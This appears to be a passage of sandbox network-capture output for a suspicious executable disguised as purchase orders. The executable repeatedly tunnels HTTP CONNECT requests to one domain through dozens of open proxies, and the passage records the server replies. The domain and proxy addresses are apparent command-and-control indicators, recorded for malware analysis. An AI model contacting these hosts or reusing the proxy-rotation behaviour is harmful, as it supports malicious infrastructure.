Mar 11, 2024 16:42:32.780891895 CET	536	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 15:42:32 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 638 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 5b 6e 6f 20 61 64 64 72 65 73 73 20 67 69 76 65 6e 5d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at [no address given] to inform them of
Mar 11, 2024 16:42:32.780908108 CET	294	IN	Data Raw: 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f Data Ascii: the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.52 (Ubuntu) Server at heygirlisheeverythingyou

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1553	192.168.2.11	54863	111.90.150.109	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.733771086 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1554	192.168.2.11	54918	162.214.227.68	31825	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.746737003 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1555	192.168.2.11	50779	103.84.177.28	8083	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.747296095 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:29.782572985 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:32.876364946 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:38.985939026 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:51.079094887 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:03.079165936 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:15.079073906 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:39.079113007 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:44:27.078986883 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1556	192.168.2.11	54448	185.236.46.221	5678	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.747426033 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1557	192.168.2.11	54837	139.59.1.14	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.747803926 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.504235983 CET	28	IN	HTTP/1.1 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1558	192.168.2.11	54865	182.106.220.252	9091	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.750802040 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.101445913 CET	325	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.1 Date: Mon, 11 Mar 2024 15:42:27 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1559	192.168.2.11	54497	119.193.137.104	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.754740000 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:38.276690006 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1560	192.168.2.11	54871	203.218.172.225	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.768584967 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1561	192.168.2.11	55004	43.153.174.4	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.774305105 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1562	192.168.2.11	55008	43.153.174.4	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.776695967 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1563	192.168.2.11	55010	43.153.174.4	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.778153896 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1564	192.168.2.11	55012	43.153.174.4	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.780158997 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1565	192.168.2.11	54506	74.118.80.244	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.839257956 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1566	192.168.2.11	54502	148.72.212.212	58903	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.839616060 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:29.938559055 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:32.995417118 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:39.032567024 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:51.079094887 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:03.079165936 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:15.079073906 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:39.079113007 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:44:27.188287973 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1567	192.168.2.11	54965	158.255.215.50	9005	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.840096951 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.134644032 CET	339	IN	HTTP/1.1 403 Forbidden Server: squid/4.7 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 15:42:26 GMT Content-Type: text/html;charset=utf-8 Content-Length: 5 X-Squid-Error: TCP_RESET 0 Vary: Accept-Language Content-Language: en X-Cache: MISS from proxy.wakoopa.com Via: 1.1 proxy.wakoopa.com (squid/4.7) Connection: keep-alive Data Raw: 72 65 73 65 74 Data Ascii: reset

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1568	192.168.2.11	54532	45.171.242.3	8083	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.840349913 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:29.986582994 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.757671118 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1569	192.168.2.11	54926	191.101.234.75	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.840462923 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.673253059 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.689215899 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:30.688925982 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.688838959 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1570	192.168.2.11	54911	190.103.177.131	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.840595007 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.257416010 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:27 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1571	192.168.2.11	54340	117.160.250.138	8899	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.840595961 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.436080933 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 15:42:27 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1572	192.168.2.11	54889	103.76.12.58	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.840666056 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.327362061 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1573	192.168.2.11	54916	148.66.130.187	20962	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.840743065 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.613225937 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.829655886 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:30.938848019 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:35.142021894 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:39.381694078 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:43.582156897 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
